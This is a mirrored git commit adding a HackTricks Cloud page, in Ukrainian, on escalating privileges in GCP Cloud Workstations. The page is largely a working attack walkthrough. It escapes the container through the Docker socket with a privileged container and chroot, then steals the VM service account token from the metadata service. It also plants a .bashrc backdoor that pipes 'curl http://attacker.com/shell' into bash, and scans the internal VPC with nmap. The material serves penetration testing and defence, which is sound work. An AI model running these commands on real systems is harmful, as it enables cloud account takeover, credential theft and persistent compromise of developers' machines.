mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+96
@@ -0,0 +1,96 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Головний шлях ескалації привілеїв у Cloud Workstations походить від потреби підтримувати **Docker-in-Docker (DinD)** робочі процеси для розробників. Якщо конфігурація workstation монтує Docker socket або дозволяє privileged containers (типова конфігурація), атакуючий всередині контейнера workstation може втекти на підлягаючу Compute Engine VM і викрасти її service account token.
|
||||
|
||||
**Prerequisites:**
|
||||
- Доступ до терміналу Cloud Workstation (через SSH, скомпрометовану сесію або викрадені облікові дані)
|
||||
- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти privileged containers
|
||||
|
||||
**Architecture context:** Workstation — це контейнер (Layer 3), що запускається на runtime Docker/Containerd (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до container runtime хоста.
|
||||
|
||||
> [!NOTE]
|
||||
> Інструмент [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і дає вам root shell на host VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Крок 1: Перевірте наявність Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Крок 2: Втеча у файлову систему віртуальної машини хоста</summary>
|
||||
|
||||
Ми запускаємо привілейований контейнер, монтуємо кореневий каталог хоста в `/mnt/host`. Також ділимо мережу хоста та PID namespace, щоб максимально підвищити видимість.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Тепер у вас є **root shell на підлягаючому Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Крок 3: Вкрадіть токен сервісного облікового запису VM з IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Перевірте Scopes!**
|
||||
> Навіть якщо прикріплений Service Account має роль **Editor**, VM може бути обмежений access scopes.
|
||||
> Якщо ви бачите `https://www.googleapis.com/auth/cloud-platform`, у вас повний доступ.
|
||||
> Якщо ви бачите лише `logging.write` і `monitoring.write`, ви обмежені лише векторами **Network Pivot** та **Persistence**, наведеними нижче.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations монтують persistent disk у `/home/user`. Оскільки container user (зазвичай `user`, UID 1000) збігається з host user (UID 1000), ви можете записувати в домашню директорію хоста. Це дозволяє вам backdoor середовище навіть якщо workstation container буде відтворено.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Крок 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Оскільки ви використовуєте простір імен мережі хоста (`--net=host`), ви тепер trusted node у VPC. Ви можете scan internal services, які дозволяють доступ на основі IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
Reference in New Issue
Block a user